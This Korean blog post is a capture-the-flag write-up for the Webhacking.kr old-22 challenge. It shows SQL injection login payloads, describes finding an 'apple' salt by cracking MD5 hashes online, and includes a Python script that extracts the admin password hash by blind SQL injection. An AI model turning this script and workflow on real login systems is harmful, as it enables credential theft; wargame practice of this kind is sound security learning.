요모조모 ʚɞ

[Webhacking.kr] old-22번 문제 풀이 본문

웹 해킹

[Webhacking.kr] old-22번 문제 풀이

Angela_OH 2020. 8. 20. 02:50

 

안녕하세요 :)

오늘은 날씨가 많이 덥네요 ㅜㅠㅜㅠㅜㅠ ,,, 

이번에는 어제 풀었던 문제를 정리해보려고 합니당 φ(゜▽゜*)♪

 

https://webhacking.kr/challenge/bonus-2/

 

Challenge 22

 

webhacking.kr

 

문제입니다!

 

22번

 

문제를 보면 admin 계정으로 로그인을 성공시키는 것이 이 문제의 핵심인 것 같습니다.

이 외에 column name이 주어졌는데, 아무래도 blind sql injection이 아닐까 추측을 하고 있었습니다.

버튼으로는 login과 join이 주어졌습니다.

우선 테스트용으로 아무 계정이나 하나 만들어보려고 합니다.

 

01

join 페이지도 특별히 볼만한 게 없네요 ㅇㅅaㅇ

저는 guest/guest로 계정을 하나 만들어주었습니다.

 

01

 

그리고 메인 페이지에서 guest 계정으로 로그인을 하니,

다음 사진과 같이 인사말과 비밀번호 hash 값이 나왔습니다!

hash 값이 32자리 인 것을 보니 md5를 사용한 것 같습니다.

 

https://crackstation.net/

 

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack

crackstation.net

 

위의 사이트를 활용하여 hash 값을 decrypt 해주었습니다.

 

hash decrypt

 

빨간 체크에서 볼 수 있듯이 비밀번호는 'guestapple'이었습니다.

제가 비밀번호를 guest로 설정했었는데 hash 값이 guestapple로 나왔습니다!

혹시 hash에서 'apple'이라는 salt 값을 사용한 것이 아닐까 생각이 들어서, 다른 계정으로도 테스트를 해보았습니다.

 

이번에는 hi/hi라는 계정을 생성하고, 비밀번호의 hash 값을 복호화해보았습니다.

 

 

오 ,, 'hiapple'이라는 결과 값이 나왔네요.

이로써 저희는 생성된 비밀번호+'apple' -> 비밀번호의 hash 값임을 알게 되었습니다.

그럼 지금부터 admin 계정의 비밀번호 hash 값을 구한 후,

그것을 복호화하여 salt 값을 제외한 값으로 로그인을 하면 될 것 같습니다!

 

sql injection 시도

 

이번에는 admin 계정의 비밀번호를 구하기 위해 sql injection을 시도해보았습니다.

만약 username이 A이고 password가 B인 계정을 찾는다고 생각해보면,

데이터베이스 내부에서 (앞부분 생략) where username='A' and password='B' 와 같이 검색을 하겠죠?

그런데 제가 adim' or '1'='1 #과 같이 작성을 해주게 되면,

where username='admin' or '1'='1' # (이후는 주석 처리됨)처럼 처리가 되는 것입니다.

'1'='1'은 참이기 때문에 결론적으로는 username이 admin이기만 하면 참을 return 하게 되겠죠!

결과값

'1'='1'과 같이 참인 경우로 로그인을 시도했을 때는 'Wrong password!'라는 결과 화면이 나왔습니다.

 

이번에는 혹시 몰라서 참이 아닌 경우로도 시도를 해보았습니다.

sql injection 시도 2

 

거짓인 경우를 나타내기 위해서 이번에는 or이 아닌 and를 사용해주었습니다.

뒤에 '1'='0'이 거짓이기 때문에 해당 구문은 무조건 false를 return하게 되겠죠!

결과값

그때의 결과는 다음과 같습니다!

 

정리하면 true일 때와 false일 때 각각 다른 화면이 나오기 때문에,

blind sql injection을 통해 값을 하나하나 찾아나갈 수 있습니다!

 

우선 저는 blind sql injection을 시도하기에 앞서, 해당 input 태그의 name을 찾아주었습니다.

name은 f12번 개발자 도구를 통해 찾을 수 있습니다.

 

input name 찾기

 

username 칸의 input name은 'uuid',

password 칸의 input name은 'pw'네요!

그럼 blind sql injection을 수행할 때 uuid와 pw를 사용하면 됩니다!

저는 injection을 여러 번 시도하는 것이 귀찮아서 python으로 script를 작성하였습니다.

 

import requests

url='https://webhacking.kr/challenge/bonus-2/index.php'

# password length 구하기

data={}
pw_len=1
while True:
	data['uuid']="admin' and length(pw)={}#".format(pw_len)
	data['pw']=None
	response=requests.post(url, data=data)
	if "Wrong" in response.text:
		break
	pw_len+=1
# print(pw_len)


# password 한 자리씩 구하기

password=""
for i in range(1, pw_len+1):
	for j in range (128):
		data['uuid']="admin' and ascii(substr(pw, {}, 1))={}#".format(i, j)
		data['pw']=None
		response=requests.post(url, data=data)
		if "Wrong" in response.text:
			password+=chr(j)
			break
print(password)

 

script는 다음과 같습니다!

 

우선 blind injection을 통해 pw의 길이를 먼저 구해줍니다.

(column name이 id와 pw로 주어져 있기 때문에 이 column name을 바로 사용할 수 있습니다.)

length(pw)의 값과 일치하는 pw_len이 나올 때까지 무한 루프를 돌면서 pw_len의 크기를 증가시켜줍니다.

pw_len과 length(pw)과 일치하는 경우가 발생하면,

해당 페이지에는 'Wrong password'가 뜨기 때문에 이것을 기준으로 if 문을 작성하면 됩니다.

 

pw의 길이를 구했으면, 이번에는 pw 전체를 구해야 합니다.

blind sql injection 특성상 찾고자 하는 값 전체를 띄어줄 수가 없기 때문에

한 글자 한 글자씩 비교를 해주어야 합니다.

substr을 사용하면 이것을 쉽게 구현할 수 있습니다.

pw_len까지 for문을 돌면서 모든 자릿수의 비밀번호를 구했다면 그 값을 출력하면 됩니다!

pw

제가 찾은 pw 값은 위의 사진과 같습니다!

hash 값으로 나왔기 때문에 이 값을 다시 복호화해주면 됩니다!

저는 앞서 언급했던 사이트에서 시도를 해봤는데, 결과값이 나오지 않더라구요ㅠ

그래서 다른 사이트에서 다시 시도를 해보았습니다.

https://www.md5online.org/md5-decrypt.html

 

MD5 Online | Free MD5 Decryption, MD5 Hash Decoder

 

www.md5online.org

 

위의 사이트에서는 테스트용 계정의 hash 값이 분석이 되지 않던데,

두 사이트에 무슨 차이가 있는지 잘 모르겠네요ㅠ

 

결과

 

암튼 사이트에 hash 값을 넣고 복호화를 하게 되면 'wowapple'이라는 값이 나옵니다.

앞서 이 문제에서는 hash값의 salt로 'apple'을 사용한다고 하였기 때문에,

apple을 뺀 'wow'를 비밀번호로 사용하면 됩니다!

 

solved!

 

이번 문제는 hash 값이 나와서 좀 더 복잡했습니다 ㅜㅅㅜ

그래도 확실히 문제 푸는 재미가 있었던 것 같아요 ㅎㅎ

오늘도 꼭 한 문제를 풀고 자야겠습니당.... 마음 속으로만 다짐

 

Comments